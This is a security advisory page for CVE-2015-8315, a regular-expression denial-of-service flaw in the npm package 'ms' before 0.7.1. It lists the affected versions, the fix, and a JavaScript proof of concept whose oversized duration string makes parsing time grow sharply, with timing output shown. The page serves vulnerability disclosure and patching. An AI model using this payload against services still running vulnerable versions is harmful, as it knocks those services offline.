--- title: "GHSA-3fx5-fwvr-xrjg: Regular Expression Denial of Service in ms" description: "High severity. Regular Expression Denial of Service in ms. Affects ms; fixed in 0.7.1." url: https://inlinr.com/advisories/GHSA-3fx5-fwvr-xrjg lang: en --- [Packages](https://inlinr.com/packages) / [ms](https://inlinr.com/packages/ms) / [Security](https://inlinr.com/packages/ms/security) High Vulnerability GHSA-3fx5-fwvr-xrjg CVE-2015-8315 Published 24 Oct 2017 # Regular Expression Denial of Service in ms Your version Affected releases · [ms](https://inlinr.com/packages/ms) - 0.7.x 0.7.0 Fixed in 0.7.1 - 0.6.x and older 0.1.0 – 0.6.2 No fix, no longer updated On 0.7.x, the newest line: ``` npm install ms@0.7.1 ``` Every release on a timeline 2.x 1. Not affected 2.0.0 – 2.1.3 5 releases, latest 0.x 1. Affected 0.1.0 – 0.7.0 10 releases 2. Fixed 0.7.1 – 0.7.3 3 releases 19 stable releases of ms, oldest to newest, one row per major. ## What happens Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. Proof of Concept ``` var ms = require('ms'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` Results Showing increase in execution time based on the input string. ``` $ time node ms.js 10000 real 0m0.758s user 0m0.724s sys 0m0.031s $ time node ms.js 20000 real 0m2.580s user 0m2.494s sys 0m0.047s $ time node ms.js 30000 real 0m5.747s user 0m5.483s sys 0m0.080s $ time node ms.js 80000 real 0m41.022s user 0m38.894s sys 0m0.529s ``` ## How it is exploited Exploitable over the network, with no account and no action from a user. - **Confidentiality**: none - **Integrity**: none - **Availability**: high CVSS:3.0/​AV:N/​AC:L/​PR:N/​UI:N/​S:U/​C:N/​I:N/​A:H ## References - [NVD](https://nvd.nist.gov/vuln/detail/CVE-2015-8315 "https://nvd.nist.gov/vuln/detail/CVE-2015-8315") nvd.nist.gov/vuln/detail/CVE-2015-8315 - [Reference](https://github.com/unshiftio/millisecond "https://github.com/unshiftio/millisecond") github.com/unshiftio/millisecond - [Reference](https://nodesecurity.io/advisories/46 "https://nodesecurity.io/advisories/46") nodesecurity.io/advisories/46 - [Reference](https://support.f5.com/csp/article/K46337613?utm%5Fsource=f5support&%3Butm%5Fmedium=RSS "https://support.f5.com/csp/article/K46337613?utm_source=f5support&%3Butm_medium=RSS") support.f5.com/csp/article/K46337613 - [Reference](https://support.f5.com/csp/article/K46337613?utm%5Fsource=f5support&utm%5Fmedium=RSS "https://support.f5.com/csp/article/K46337613?utm_source=f5support&utm_medium=RSS") support.f5.com/csp/article/K46337613 - [Reference](https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389 "https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389") web.archive.org/web/20200227190911/http://www.s… - [Reference](http://www.openwall.com/lists/oss-security/2016/04/20/11 "http://www.openwall.com/lists/oss-security/2016/04/20/11") openwall.com/lists/oss-security/2016/04/20/11 - [Reference](http://www.securityfocus.com/bid/96389 "http://www.securityfocus.com/bid/96389") securityfocus.com/bid/96389